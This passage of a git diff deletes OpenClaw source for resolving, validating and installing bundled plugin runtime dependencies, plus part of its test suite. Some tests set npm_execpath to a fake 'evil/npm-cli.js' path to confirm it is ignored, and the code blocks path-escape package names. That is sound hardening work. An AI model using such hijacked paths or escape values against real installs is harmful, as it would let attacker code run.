Error("openclaw.bundle.mirroredRootRuntimeDependencies must contain strings"); - } - const normalizedName = normalizeInstallableRuntimeDepName(rawName); - if (!normalizedName) { - throw new Error(`Invalid mirrored bundled runtime dependency name: ${rawName}`); - } - names.add(normalizedName); - } - return [...names].toSorted((left, right) => left.localeCompare(right)); -} - -export function collectMirroredPackageRuntimeDeps(packageRoot: string | null): RuntimeDepEntry[] { - if (!packageRoot) { - return []; - } - const packageJson = readRuntimeDepsJsonObject(path.join(packageRoot, "package.json")); - if (!packageJson) { - return []; - } - const runtimeDeps = collectPackageRuntimeDeps(packageJson); - const deps: RuntimeDepEntry[] = []; - for (const name of collectDeclaredMirroredRootRuntimeDepNames(packageJson)) { - const dep = parseInstallableRuntimeDep(name, runtimeDeps[name]); - if (!dep) { - throw new Error( - `Declared mirrored bundled runtime dependency ${name} is missing from package dependencies`, - ); - } - deps.push({ - ...dep, - pluginIds: [MIRRORED_PACKAGE_RUNTIME_DEP_PLUGIN_ID], - }); - } - return deps.toSorted((left, right) => { - const nameOrder = left.name.localeCompare(right.name); - return nameOrder === 0 ? left.version.localeCompare(right.version) : nameOrder; - }); -} - -function readBundledPluginRuntimeDepsManifest( - pluginDir: string, - cache?: BundledPluginRuntimeDepsManifestCache, -): BundledPluginRuntimeDepsManifest { - const cached = cache?.get(pluginDir); - if (cached) { - return cached; - } - const manifest = readRuntimeDepsJsonObject(path.join(pluginDir, "openclaw.plugin.json")); - const channels = manifest?.channels; - const legacyPluginIds = manifest?.legacyPluginIds; - const localMemoryEmbeddingRuntimeDeps = readBundledPluginLocalMemoryEmbeddingRuntimeDeps( - manifest?.runtimeDependencies, - ); - const modelSupport = readBundledPluginRuntimeDepsModelSupport(manifest?.modelSupport); - const providers = manifest?.providers; - const runtimeDepsManifest = { - channels: Array.isArray(channels) - ? channels.filter((entry): entry is string => typeof entry === "string" && entry !== "") - : [], - enabledByDefault: manifest?.enabledByDefault === true, - ...(typeof manifest?.id === "string" && manifest.id.trim() ? { id: manifest.id } : {}), - legacyPluginIds: Array.isArray(legacyPluginIds) - ? legacyPluginIds.filter( - (entry): entry is string => typeof entry === "string" && entry !== "", - ) - : [], - localMemoryEmbeddingRuntimeDeps, - ...(modelSupport ? { modelSupport } : {}), - providers: Array.isArray(providers) - ? providers.filter((entry): entry is string => typeof entry === "string" && entry !== "") - : [], - }; - cache?.set(pluginDir, runtimeDepsManifest); - return runtimeDepsManifest; -} - -function readBundledPluginLocalMemoryEmbeddingRuntimeDeps(value: unknown): RuntimeDepEntry[] { - if (!isRecord(value)) { - return []; - } - const specs = value.localMemoryEmbedding; - if (!Array.isArray(specs)) { - return []; - } - return specs.map((spec) => { - if (typeof spec !== "string") { - throw new Error( - "openclaw.plugin.json runtimeDependencies.localMemoryEmbedding must contain strings", - ); - } - return Object.assign(parseInstallableRuntimeDepSpec(spec), { pluginIds: [] }); - }); -} - -function readBundledPluginRuntimeDepsModelSupport( - value: unknown, -): BundledPluginRuntimeDepsModelSupport | undefined { - if (!isRecord(value)) { - return undefined; - } - const modelPatterns = readRuntimeDepsManifestStringList(value.modelPatterns); - const modelPrefixes = readRuntimeDepsManifestStringList(value.modelPrefixes); - if (modelPatterns.length === 0 && modelPrefixes.length === 0) { - return undefined; - } - return { modelPatterns, modelPrefixes }; -} - -function readRuntimeDepsManifestStringList(value: unknown): string[] { - if (!Array.isArray(value)) { - return []; - } - return value.filter((entry): entry is string => typeof entry === "string" && entry !== ""); -} - -const BUILT_IN_RUNTIME_DEPS_PLUGIN_ALIAS_FALLBACKS: ReadonlyArray< - readonly [alias: string, pluginId: string] -> = [ - ["openai-codex", "openai"], - ["google-gemini-cli", "google"], - ["minimax-portal", "minimax"], - ["minimax-portal-auth", "minimax"], -] as const; - -function addBundledRuntimeDepsPluginAlias( - lookup: Map, - alias: string | undefined, - pluginId: string, -): void { - const normalizedAlias = normalizeOptionalLowercaseString(alias); - if (normalizedAlias) { - lookup.set(normalizedAlias, pluginId); - } -} - -export function createBundledRuntimeDepsPluginIdNormalizer(params: { - extensionsDir: string; - manifestCache: BundledPluginRuntimeDepsManifestCache; -}): NormalizePluginId { - const lookup = new Map(); - for (const [alias, pluginId] of BUILT_IN_RUNTIME_DEPS_PLUGIN_ALIAS_FALLBACKS) { - lookup.set(alias, pluginId); - lookup.set(pluginId, pluginId); - } - if (!fs.existsSync(params.extensionsDir)) { - return (id) => { - const trimmed = id.trim(); - const normalized = normalizeOptionalLowercaseString(trimmed); - return (normalized && lookup.get(normalized)) || trimmed; - }; - } - for (const entry of fs.readdirSync(params.extensionsDir, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - const fallbackPluginId = entry.name; - const pluginDir = path.join(params.extensionsDir, fallbackPluginId); - const manifest = readBundledPluginRuntimeDepsManifest(pluginDir, params.manifestCache); - const pluginId = manifest.id ?? fallbackPluginId; - addBundledRuntimeDepsPluginAlias(lookup, pluginId, pluginId); - addBundledRuntimeDepsPluginAlias(lookup, fallbackPluginId, pluginId); - for (const providerId of manifest.providers) { - addBundledRuntimeDepsPluginAlias(lookup, providerId, pluginId); - } - for (const legacyPluginId of manifest.legacyPluginIds) { - addBundledRuntimeDepsPluginAlias(lookup, legacyPluginId, pluginId); - } - } - return (id) => { - const trimmed = id.trim(); - const normalized = normalizeOptionalLowercaseString(trimmed); - return (normalized && lookup.get(normalized)) || trimmed; - }; -} - -function passesRuntimeDepsPluginPolicy(params: { - pluginId: string; - plugins: NormalizedPluginsConfig; - allowExplicitlyDisabled?: boolean; - allowRestrictiveAllowlistBypass?: boolean; -}): boolean { - if (!params.plugins.enabled) { - return false; - } - if (params.plugins.deny.includes(params.pluginId)) { - return false; - } - if ( - params.plugins.entries[params.pluginId]?.enabled === false && - params.allowExplicitlyDisabled !== true - ) { - return false; - } - return ( - params.allowRestrictiveAllowlistBypass === true || - params.plugins.allow.length === 0 || - params.plugins.allow.includes(params.pluginId) - ); -} - -function isRecord(value: unknown): value is Record { - return Boolean(value && typeof value === "object" && !Array.isArray(value)); -} - -type ConfiguredRuntimeDepsTargets = { - modelRefs: Set; - providerIds: Set; -}; - -function createConfiguredRuntimeDepsTargets(): ConfiguredRuntimeDepsTargets { - return { - modelRefs: new Set(), - providerIds: new Set(), - }; -} - -function addConfiguredProviderId(targets: ConfiguredRuntimeDepsTargets, value: unknown): void { - if (typeof value !== "string") { - return; - } - const normalized = normalizeProviderId(value); - if (normalized) { - targets.providerIds.add(normalized); - } -} - -function addConfiguredModelRef(targets: ConfiguredRuntimeDepsTargets, value: unknown): void { - if (typeof value !== "string") { - return; - } - const parsed = parseConfiguredModelRef(value); - if (!parsed) { - return; - } - if (parsed.providerId) { - targets.providerIds.add(parsed.providerId); - } else { - targets.modelRefs.add(parsed.modelId); - } -} - -function parseConfiguredModelRef( - value: string, -): { modelId: string; providerId?: string } | undefined { - const trimmed = value.trim(); - if (!trimmed) { - return undefined; - } - const slash = trimmed.indexOf("/"); - if (slash < 0) { - const modelId = splitTrailingAuthProfile(trimmed).model.trim(); - return modelId ? { modelId } : undefined; - } - const providerId = normalizeProviderId(trimmed.slice(0, slash)); - const modelId = splitTrailingAuthProfile(trimmed.slice(slash + 1)).model.trim(); - if (!providerId || !modelId) { - return undefined; - } - return { providerId, modelId }; -} - -function addConfiguredModelsFromModelConfig( - targets: ConfiguredRuntimeDepsTargets, - value: unknown, -): void { - if (typeof value === "string") { - addConfiguredModelRef(targets, value); - return; - } - if (!isRecord(value)) { - return; - } - addConfiguredModelRef(targets, value.primary); - if (Array.isArray(value.fallbacks)) { - for (const fallback of value.fallbacks) { - addConfiguredModelRef(targets, fallback); - } - } -} - -function collectConfiguredRuntimeDepsTargets(config: OpenClawConfig): ConfiguredRuntimeDepsTargets { - const targets = createConfiguredRuntimeDepsTargets(); - for (const providerId of Object.keys(config.models?.providers ?? {})) { - addConfiguredProviderId(targets, providerId); - } - for (const profile of Object.values(config.auth?.profiles ?? {})) { - addConfiguredProviderId(targets, profile.provider); - } - for (const providerId of Object.keys(config.auth?.order ?? {})) { - addConfiguredProviderId(targets, providerId); - } - - const defaults = config.agents?.defaults; - addConfiguredModelsFromModelConfig(targets, defaults?.model); - addConfiguredModelsFromModelConfig(targets, defaults?.imageModel); - addConfiguredModelsFromModelConfig(targets, defaults?.imageGenerationModel); - addConfiguredModelsFromModelConfig(targets, defaults?.videoGenerationModel); - addConfiguredModelsFromModelConfig(targets, defaults?.musicGenerationModel); - addConfiguredModelsFromModelConfig(targets, defaults?.pdfModel); - addConfiguredModelsFromModelConfig(targets, defaults?.subagents?.model); - for (const providerId of Object.keys(defaults?.models ?? {})) { - addConfiguredModelRef(targets, providerId); - } - - for (const agent of config.agents?.list ?? []) { - addConfiguredModelsFromModelConfig(targets, agent.model); - addConfiguredModelsFromModelConfig(targets, agent.subagents?.model); - } - return targets; -} - -function collectConfiguredProviderIds(config: OpenClawConfig): Set { - return collectConfiguredRuntimeDepsTargets(config).providerIds; -} - -function memorySearchConfigUsesProvider( - value: { enabled?: boolean; provider?: string } | undefined, - providerId: string, -): boolean { - return ( - value?.enabled !== false && normalizeOptionalLowercaseString(value?.provider) === providerId - ); -} - -function isMemoryEmbeddingProviderConfiguredForRuntimeDeps( - config: OpenClawConfig | undefined, - providerId: string, -): boolean { - if (!config) { - return false; - } - if (memorySearchConfigUsesProvider(config.agents?.defaults?.memorySearch, providerId)) { - return true; - } - return (config.agents?.list ?? []).some((agent) => - memorySearchConfigUsesProvider(agent.memorySearch, providerId), - ); -} - -function matchesBundledRuntimeDepsModelSupport( - manifest: BundledPluginRuntimeDepsManifest, - modelId: string, - kind: "pattern" | "prefix", -): boolean { - if (kind === "pattern") { - for (const patternSource of manifest.modelSupport?.modelPatterns ?? []) { - try { - if (new RegExp(patternSource, "u").test(modelId)) { - return true; - } - } catch { - continue; - } - } - return false; - } - return (manifest.modelSupport?.modelPrefixes ?? []).some((prefix) => modelId.startsWith(prefix)); -} - -export function resolveBundledRuntimeDepsConfiguredModelOwnerPluginIds(params: { - config: OpenClawConfig; - extensionsDir: string; - manifestCache?: BundledPluginRuntimeDepsManifestCache; -}): ReadonlySet { - const targets = collectConfiguredRuntimeDepsTargets(params.config); - if (targets.modelRefs.size === 0 || !fs.existsSync(params.extensionsDir)) { - return new Set(); - } - const plugins = fs - .readdirSync(params.extensionsDir, { withFileTypes: true }) - .filter((entry) => entry.isDirectory()) - .map((entry) => { - const pluginDir = path.join(params.extensionsDir, entry.name); - return { - pluginId: entry.name, - manifest: readBundledPluginRuntimeDepsManifest(pluginDir, params.manifestCache), - }; - }); - const pluginIds = new Set(); - for (const modelId of targets.modelRefs) { - const patternMatches = plugins.filter(({ manifest }) => - matchesBundledRuntimeDepsModelSupport(manifest, modelId, "pattern"), - ); - if (patternMatches.length === 1) { - pluginIds.add(patternMatches[0].pluginId); - continue; - } - if (patternMatches.length > 1) { - continue; - } - const prefixMatches = plugins.filter(({ manifest }) => - matchesBundledRuntimeDepsModelSupport(manifest, modelId, "prefix"), - ); - if (prefixMatches.length === 1) { - pluginIds.add(prefixMatches[0].pluginId); - } - } - return pluginIds; -} - -function isBundledProviderConfiguredForRuntimeDeps(params: { - config: OpenClawConfig; - providers: readonly string[]; -}): boolean { - if (params.providers.length === 0) { - return false; - } - const configuredProviderIds = collectConfiguredProviderIds(params.config); - return params.providers.some((provider) => - configuredProviderIds.has(normalizeProviderId(provider)), - ); -} - -export function isBundledPluginConfiguredForRuntimeDeps(params: { - config: OpenClawConfig; - plugins: NormalizedPluginsConfig; - pluginId: string; - pluginDir: string; - configuredModelOwnerPluginIds?: ReadonlySet; - includeConfiguredChannels?: boolean; - includeEnabledByDefaultPlugins?: boolean; - manifestCache?: BundledPluginRuntimeDepsManifestCache; -}): boolean { - if ( - !passesRuntimeDepsPluginPolicy({ - pluginId: params.pluginId, - plugins: params.plugins, - allowRestrictiveAllowlistBypass: true, - }) - ) { - return false; - } - const entry = params.plugins.entries[params.pluginId]; - const manifest = readBundledPluginRuntimeDepsManifest(params.pluginDir, params.manifestCache); - if ( - params.plugins.slots.memory === params.pluginId || - params.plugins.slots.contextEngine === params.pluginId - ) { - return true; - } - let hasExplicitChannelDisable = false; - let hasConfiguredChannel = false; - for (const channelId of manifest.channels) { - const normalizedChannelId = normalizeOptionalLowercaseString(channelId); - if (!normalizedChannelId) { - continue; - } - const channelConfig = (params.config.channels as Record | undefined)?.[ - normalizedChannelId - ]; - if ( - channelConfig && - typeof channelConfig === "object" && - !Array.isArray(channelConfig) && - (channelConfig as { enabled?: unknown }).enabled === false - ) { - hasExplicitChannelDisable = true; - continue; - } - if ( - channelConfig && - typeof channelConfig === "object" && - !Array.isArray(channelConfig) && - (channelConfig as { enabled?: unknown }).enabled === true - ) { - return true; - } - if ( - channelConfig && - typeof channelConfig === "object" && - !Array.isArray(channelConfig) && - params.includeConfiguredChannels - ) { - hasConfiguredChannel = true; - } - } - if (hasExplicitChannelDisable) { - return false; - } - if (params.plugins.allow.length > 0 && !params.plugins.allow.includes(params.pluginId)) { - return false; - } - if (entry?.enabled === true) { - return true; - } - if (hasConfiguredChannel) { - return true; - } - if (params.configuredModelOwnerPluginIds?.has(params.pluginId)) { - return true; - } - if ( - isBundledProviderConfiguredForRuntimeDeps({ - config: params.config, - providers: manifest.providers, - }) - ) { - return true; - } - return ( - (params.includeEnabledByDefaultPlugins ?? true) && - manifest.enabledByDefault && - manifest.providers.length === 0 - ); -} - -function isBundledPluginExplicitlyDisabledForRuntimeDeps(params: { - config: OpenClawConfig; - plugins: NormalizedPluginsConfig; - pluginId: string; - pluginDir: string; - manifestCache?: BundledPluginRuntimeDepsManifestCache; -}): boolean { - if (params.plugins.entries[params.pluginId]?.enabled === false) { - return true; - } - const manifest = readBundledPluginRuntimeDepsManifest(params.pluginDir, params.manifestCache); - return manifest.channels.some((channelId) => { - const normalizedChannelId = normalizeOptionalLowercaseString(channelId); - if (!normalizedChannelId) { - return false; - } - const channelConfig = (params.config.channels as Record | undefined)?.[ - normalizedChannelId - ]; - return ( - channelConfig && - typeof channelConfig === "object" && - !Array.isArray(channelConfig) && - (channelConfig as { enabled?: unknown }).enabled === false - ); - }); -} - -function shouldIncludeBundledPluginRuntimeDeps(params: { - config?: OpenClawConfig; - plugins?: NormalizedPluginsConfig; - pluginIds?: ReadonlySet; - exactPluginIds?: ReadonlySet; - pluginId: string; - pluginDir: string; - configuredModelOwnerPluginIds?: ReadonlySet; - includeConfiguredChannels?: boolean; - includeEnabledByDefaultPlugins?: boolean; - manifestCache?: BundledPluginRuntimeDepsManifestCache; -}): boolean { - if (params.exactPluginIds) { - return ( - params.exactPluginIds.has(params.pluginId) && - !( - params.config && - params.plugins && - isBundledPluginExplicitlyDisabledForRuntimeDeps({ - config: params.config, - plugins: params.plugins, - pluginId: params.pluginId, - pluginDir: params.pluginDir, - manifestCache: params.manifestCache, - }) - ) - ); - } - const scopedToPluginIds = Boolean(params.pluginIds); - if (params.pluginIds) { - if (!params.pluginIds.has(params.pluginId)) { - return false; - } - if (!params.config) { - return true; - } - } - if (!params.config) { - return true; - } - if (scopedToPluginIds) { - if (!params.plugins) { - return true; - } - return passesRuntimeDepsPluginPolicy({ - pluginId: params.pluginId, - plugins: params.plugins, - allowRestrictiveAllowlistBypass: true, - }); - } - if (!params.plugins) { - return false; - } - return isBundledPluginConfiguredForRuntimeDeps({ - config: params.config, - plugins: params.plugins, - pluginId: params.pluginId, - pluginDir: params.pluginDir, - configuredModelOwnerPluginIds: params.configuredModelOwnerPluginIds, - includeConfiguredChannels: params.includeConfiguredChannels, - includeEnabledByDefaultPlugins: params.includeEnabledByDefaultPlugins, - manifestCache: params.manifestCache, - }); -} - -export function collectBundledPluginRuntimeDeps(params: { - extensionsDir: string; - config?: OpenClawConfig; - pluginIds?: ReadonlySet; - exactPluginIds?: ReadonlySet; - includeConfiguredChannels?: boolean; - includeEnabledByDefaultPlugins?: boolean; - manifestCache?: BundledPluginRuntimeDepsManifestCache; - normalizePluginId?: NormalizePluginId; -}): { - deps: RuntimeDepEntry[]; - conflicts: RuntimeDepConflict[]; - pluginIds: string[]; -} { - const versionMap = new Map>>(); - const manifestCache: BundledPluginRuntimeDepsManifestCache = params.manifestCache ?? new Map(); - const needsPluginIdNormalizer = Boolean(params.config); - const normalizePluginId = - params.normalizePluginId ?? - (needsPluginIdNormalizer - ? createBundledRuntimeDepsPluginIdNormalizer({ - extensionsDir: params.extensionsDir, - manifestCache, - }) - : undefined); - const plugins = params.config - ? normalizePluginsConfigWithResolver(params.config.plugins, normalizePluginId) - : undefined; - const configuredModelOwnerPluginIds = - params.config && plugins - ? resolveBundledRuntimeDepsConfiguredModelOwnerPluginIds({ - config: params.config, - extensionsDir: params.extensionsDir, - manifestCache, - }) - : undefined; - const includedPluginIds = new Set(); - - for (const entry of fs.readdirSync(params.extensionsDir, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - const pluginId = entry.name; - const pluginDir = path.join(params.extensionsDir, pluginId); - if ( - !shouldIncludeBundledPluginRuntimeDeps({ - config: params.config, - plugins, - pluginIds: params.pluginIds, - exactPluginIds: params.exactPluginIds, - pluginId, - pluginDir, - configuredModelOwnerPluginIds, - includeConfiguredChannels: params.includeConfiguredChannels, - includeEnabledByDefaultPlugins: params.includeEnabledByDefaultPlugins, - manifestCache, - }) - ) { - continue; - } - includedPluginIds.add(pluginId); - const manifest = readBundledPluginRuntimeDepsManifest(pluginDir, manifestCache); - const packageJson = readRuntimeDepsJsonObject(path.join(pluginDir, "package.json")); - if (packageJson) { - for (const [name, rawVersion] of Object.entries(collectPackageRuntimeDeps(packageJson))) { - const dep = parseInstallableRuntimeDep(name, rawVersion); - if (!dep) { - continue; - } - const byVersion = versionMap.get(dep.name) ?? new Map>(); - const pluginIds = byVersion.get(dep.version) ?? new Set(); - pluginIds.add(pluginId); - byVersion.set(dep.version, pluginIds); - versionMap.set(dep.name, byVersion); - } - } - if ( - manifest.localMemoryEmbeddingRuntimeDeps.length > 0 && - isMemoryEmbeddingProviderConfiguredForRuntimeDeps(params.config, "local") - ) { - for (const dep of manifest.localMemoryEmbeddingRuntimeDeps) { - const byVersion = versionMap.get(dep.name) ?? new Map>(); - const pluginIds = byVersion.get(dep.version) ?? new Set(); - pluginIds.add(pluginId); - byVersion.set(dep.version, pluginIds); - versionMap.set(dep.name, byVersion); - } - } - } - - const deps: RuntimeDepEntry[] = []; - const conflicts: RuntimeDepConflict[] = []; - for (const [name, byVersion] of versionMap.entries()) { - if (byVersion.size === 1) { - const [version, pluginIds] = [...byVersion.entries()][0] ?? []; - if (version) { - deps.push({ - name, - version, - pluginIds: [...pluginIds].toSorted((a, b) => a.localeCompare(b)), - }); - } - continue; - } - const versions = [...byVersion.keys()].toSorted((a, b) => a.localeCompare(b)); - const pluginIdsByVersion = new Map(); - for (const [version, pluginIds] of byVersion.entries()) { - pluginIdsByVersion.set( - version, - [...pluginIds].toSorted((a, b) => a.localeCompare(b)), - ); - } - conflicts.push({ - name, - versions, - pluginIdsByVersion, - }); - } - - return { - deps: deps.toSorted((a, b) => a.name.localeCompare(b.name)), - conflicts: conflicts.toSorted((a, b) => a.name.localeCompare(b.name)), - pluginIds: [...includedPluginIds].toSorted((a, b) => a.localeCompare(b)), - }; -} - -export function normalizePluginIdSet( - pluginIds: readonly string[] | undefined, - normalizePluginId: NormalizePluginId = (id) => normalizeOptionalLowercaseString(id) ?? "", -): ReadonlySet | undefined { - if (!pluginIds) { - return undefined; - } - const normalized = pluginIds - .map((entry) => normalizePluginId(entry)) - .filter((entry): entry is string => Boolean(entry)); - return new Set(normalized); -} diff --git a/src/plugins/bundled-runtime-deps-specs.ts b/src/plugins/bundled-runtime-deps-specs.ts deleted file mode 100644 index 18ed0743a85..00000000000 --- a/src/plugins/bundled-runtime-deps-specs.ts +++ /dev/null @@ -1,120 +0,0 @@ -import path from "node:path"; -import { validSemver } from "./semver.runtime.js"; - -export type RuntimeDepEntry = { - name: string; - version: string; - pluginIds: string[]; -}; - -const BUNDLED_RUNTIME_DEP_SEGMENT_RE = /^[a-z0-9][a-z0-9._-]*$/; - -export function normalizeInstallableRuntimeDepName(rawName: string): string | null { - const depName = rawName.trim(); - if (depName === "") { - return null; - } - const segments = depName.split("/"); - if (segments.some((segment) => segment === "" || segment === "." || segment === "..")) { - return null; - } - if (segments.length === 1) { - return BUNDLED_RUNTIME_DEP_SEGMENT_RE.test(segments[0] ?? "") ? depName : null; - } - if (segments.length !== 2 || !segments[0]?.startsWith("@")) { - return null; - } - const scope = segments[0].slice(1); - const packageName = segments[1]; - return BUNDLED_RUNTIME_DEP_SEGMENT_RE.test(scope) && - BUNDLED_RUNTIME_DEP_SEGMENT_RE.test(packageName ?? "") - ? depName - : null; -} - -function normalizeInstallableRuntimeDepVersion(rawVersion: unknown): string | null { - if (typeof rawVersion !== "string") { - return null; - } - const version = rawVersion.trim(); - if (version === "" || version.toLowerCase().startsWith("workspace:")) { - return null; - } - if (validSemver(version)) { - return version; - } - const rangePrefix = version[0]; - if ((rangePrefix === "^" || rangePrefix === "~") && validSemver(version.slice(1))) { - return version; - } - return null; -} - -export function parseInstallableRuntimeDep( - name: string, - rawVersion: unknown, -): { name: string; version: string } | null { - if (typeof rawVersion !== "string") { - return null; - } - const version = rawVersion.trim(); - if (version === "" || version.toLowerCase().startsWith("workspace:")) { - return null; - } - const normalizedName = normalizeInstallableRuntimeDepName(name); - if (!normalizedName) { - throw new Error(`Invalid bundled runtime dependency name: ${name}`); - } - const normalizedVersion = normalizeInstallableRuntimeDepVersion(version); - if (!normalizedVersion) { - throw new Error( - `Unsupported bundled runtime dependency spec for ${normalizedName}: ${version}`, - ); - } - return { name: normalizedName, version: normalizedVersion }; -} - -export function parseInstallableRuntimeDepSpec(spec: string): { name: string; version: string } { - const atIndex = spec.lastIndexOf("@"); - if (atIndex <= 0 || atIndex === spec.length - 1) { - throw new Error(`Invalid bundled runtime dependency install spec: ${spec}`); - } - const parsed = parseInstallableRuntimeDep(spec.slice(0, atIndex), spec.slice(atIndex + 1)); - if (!parsed) { - throw new Error(`Invalid bundled runtime dependency install spec: ${spec}`); - } - return parsed; -} - -export function normalizeRuntimeDepSpecs(specs: readonly string[]): string[] { - specs.forEach((spec) => { - parseInstallableRuntimeDepSpec(spec); - }); - return [...new Set(specs)].toSorted((left, right) => left.localeCompare(right)); -} - -export function collectPackageRuntimeDeps( - packageJson: Record, -): Record { - return { - ...(packageJson.dependencies as Record | undefined), - ...(packageJson.optionalDependencies as Record | undefined), - }; -} - -function dependencySentinelPath(depName: string): string { - const normalizedDepName = normalizeInstallableRuntimeDepName(depName); - if (!normalizedDepName) { - throw new Error(`Invalid bundled runtime dependency name: ${depName}`); - } - return path.join("node_modules", ...normalizedDepName.split("/"), "package.json"); -} - -export function resolveDependencySentinelAbsolutePath(rootDir: string, depName: string): string { - const nodeModulesDir = path.resolve(rootDir, "node_modules"); - const sentinelPath = path.resolve(rootDir, dependencySentinelPath(depName)); - if (sentinelPath !== nodeModulesDir && !sentinelPath.startsWith(`${nodeModulesDir}${path.sep}`)) { - throw new Error(`Blocked runtime dependency path escape for ${depName}`); - } - return sentinelPath; -} diff --git a/src/plugins/bundled-runtime-deps.test.ts b/src/plugins/bundled-runtime-deps.test.ts deleted file mode 100644 index 4a894f38e55..00000000000 --- a/src/plugins/bundled-runtime-deps.test.ts +++ /dev/null @@ -1,4886 +0,0 @@ -import { spawn, spawnSync } from "node:child_process"; -import { createHash } from "node:crypto"; -import { EventEmitter } from "node:events"; -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { - __testing as bundledRuntimeDepsActivityTesting, - getActiveBundledRuntimeDepsInstallCount, - waitForBundledRuntimeDepsInstallIdle, -} from "./bundled-runtime-deps-activity.js"; -import { - installBundledRuntimeDeps, - installBundledRuntimeDepsAsync, - repairBundledRuntimeDepsInstallRootAsync, - type BundledRuntimeDepsInstallParams, -} from "./bundled-runtime-deps-install.js"; -import { - BUNDLED_RUNTIME_DEPS_LOCK_DIR, - formatRuntimeDepsLockTimeoutMessage, - shouldRemoveRuntimeDepsLock, -} from "./bundled-runtime-deps-lock.js"; -import { - assertBundledRuntimeDepsInstalled, - ensureNpmInstallExecutionManifest, - isRuntimeDepsPlanMaterialized, -} from "./bundled-runtime-deps-materialization.js"; -import { - createBundledRuntimeDepsInstallArgs, - createBundledRuntimeDepsInstallEnv, - resolveBundledRuntimeDepsNpmRunner, - resolveBundledRuntimeDepsPnpmRunner, -} from "./bundled-runtime-deps-package-manager.js"; -import { - isWritableDirectory, - pruneUnknownBundledRuntimeDepsRoots, - resolveBundledRuntimeDependencyInstallRoot, - resolveBundledRuntimeDependencyInstallRootPlan, - resolveBundledRuntimeDependencyPackageInstallRoot, -} from "./bundled-runtime-deps-roots.js"; -import { - BundledRuntimeDepsMissingError, - createBundledRuntimeDependencyAliasMap, - createBundledRuntimeDepsPackagePlan, - ensureBundledPluginRuntimeDeps, - repairBundledRuntimeDepsPackagePlanAsync, -} from "./bundled-runtime-deps.js"; -import { - writeBundledPluginRuntimeDepsPackage as writeBundledPluginPackage, - writeGeneratedRuntimeDepsManifest, - writeInstalledRuntimeDepPackage as writeInstalledPackage, -} from "./test-helpers/bundled-runtime-deps-fixtures.js"; - -vi.mock("node:child_process", async (importOriginal) => ({ - ...(await importOriginal()), - spawn: vi.fn(), - spawnSync: vi.fn(), -})); - -const spawnMock = vi.mocked(spawn); -const spawnSyncMock = vi.mocked(spawnSync); -const tempDirs: string[] = []; - -function makeTempDir(): string { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-runtime-deps-test-")); - tempDirs.push(dir); - return dir; -} - -function statfsFixture(params: { - bavail: number; - bsize?: number; - blocks?: number; -}): ReturnType { - return { - type: 0, - bsize: params.bsize ?? 1024, - blocks: params.blocks ?? 2_000_000, - bfree: params.bavail, - bavail: params.bavail, - files: 0, - ffree: 0, - }; -} - -afterEach(() => { - vi.restoreAllMocks(); - spawnMock.mockReset(); - spawnSyncMock.mockReset(); - bundledRuntimeDepsActivityTesting.resetBundledRuntimeDepsInstallActivity(); - for (const dir of tempDirs.splice(0)) { - fs.rmSync(dir, { recursive: true, force: true }); - } -}); - -describe("resolveBundledRuntimeDepsNpmRunner", () => { - it("ignores npm_execpath and uses the Node-adjacent npm CLI on Windows", () => { - const execPath = "C:\\Program Files\\nodejs\\node.exe"; - const npmCliPath = path.win32.resolve( - path.win32.dirname(execPath), - "node_modules/npm/bin/npm-cli.js", - ); - const runner = resolveBundledRuntimeDepsNpmRunner({ - env: { npm_execpath: "C:\\repo\\evil\\npm-cli.js" }, - execPath, - existsSync: (candidate) => - candidate === "C:\\repo\\evil\\npm-cli.js" || candidate === npmCliPath, - npmArgs: ["install", "acpx@0.5.3"], - platform: "win32", - }); - - expect(runner).toEqual({ - command: execPath, - args: [npmCliPath, "install", "acpx@0.5.3"], - }); - }); - - it("uses package-manager-neutral install args with npm config env", () => { - expect(createBundledRuntimeDepsInstallArgs()).toEqual([ - "install", - "--omit=dev", - "--ignore-scripts", - "--workspaces=false", - "--no-audit", - "--no-fund", - ]); - expect( - createBundledRuntimeDepsInstallEnv( - { - PATH: "/usr/bin:/bin", - NPM_CONFIG_CACHE: "/Users/alice/.npm-uppercase", - NPM_CONFIG_GLOBAL: "true", - NPM_CONFIG_IGNORE_SCRIPTS: "false", - NPM_CONFIG_LOCATION: "global", - NPM_CONFIG_PREFIX: "/Users/alice", - npm_config_cache: "/Users/alice/.npm", - npm_config_dry_run: "true", - npm_config_global: "true", - npm_config_include_workspace_root: "true", - npm_config_ignore_scripts: "false", - npm_config_location: "global", - npm_config_prefix: "/opt/homebrew", - npm_config_workspace: "extensions/telegram", - npm_config_workspaces: "true", - npm_execpath: "/repo/evil/npm-cli.js", - NPM_EXECPATH: "/repo/evil-uppercase/npm-cli.js", - }, - { cacheDir: "/opt/openclaw/runtime-cache" }, - ), - ).toEqual({ - COREPACK_ENABLE_DOWNLOAD_PROMPT: "0", - NPM_CONFIG_IGNORE_SCRIPTS: "true", - PATH: "/usr/bin:/bin", - npm_config_audit: "false", - npm_config_cache: "/opt/openclaw/runtime-cache", - npm_config_dry_run: "false", - npm_config_fetch_retries: "5", - npm_config_fetch_retry_maxtimeout: "120000", - npm_config_fetch_retry_mintimeout: "10000", - npm_config_fetch_timeout: "300000", - npm_config_fund: "false", - npm_config_global: "false", - npm_config_ignore_scripts: "true", - npm_config_legacy_peer_deps: "true", - npm_config_location: "project", - npm_config_package_lock: "true", - npm_config_save: "false", - npm_config_workspaces: "false", - }); - }); - - it("uses the Node-adjacent npm CLI on Windows", () => { - const execPath = "C:\\Program Files\\nodejs\\node.exe"; - const npmCliPath = path.win32.resolve( - path.win32.dirname(execPath), - "node_modules/npm/bin/npm-cli.js", - ); - - const runner = resolveBundledRuntimeDepsNpmRunner({ - env: {}, - execPath, - existsSync: (candidate) => candidate === npmCliPath, - npmArgs: ["install", "acpx@0.5.3"], - platform: "win32", - }); - - expect(runner).toEqual({ - command: execPath, - args: [npmCliPath, "install", "acpx@0.5.3"], - }); - }); - - it("ignores npm_execpath and falls back to Node-adjacent npm", () => { - const execPath = "/opt/node/bin/node"; - const npmCliPath = "/opt/node/lib/node_modules/npm/bin/npm-cli.js"; - const runner = resolveBundledRuntimeDepsNpmRunner({ - env: { - npm_execpath: "/home/runner/repo/evil/npm-cli.js", - }, - execPath, - existsSync: (candidate) => - candidate === "/home/runner/repo/evil/npm-cli.js" || candidate === npmCliPath, - npmArgs: ["install", "acpx@0.5.3"], - platform: "linux", - }); - - expect(runner).toEqual({ - command: execPath, - args: 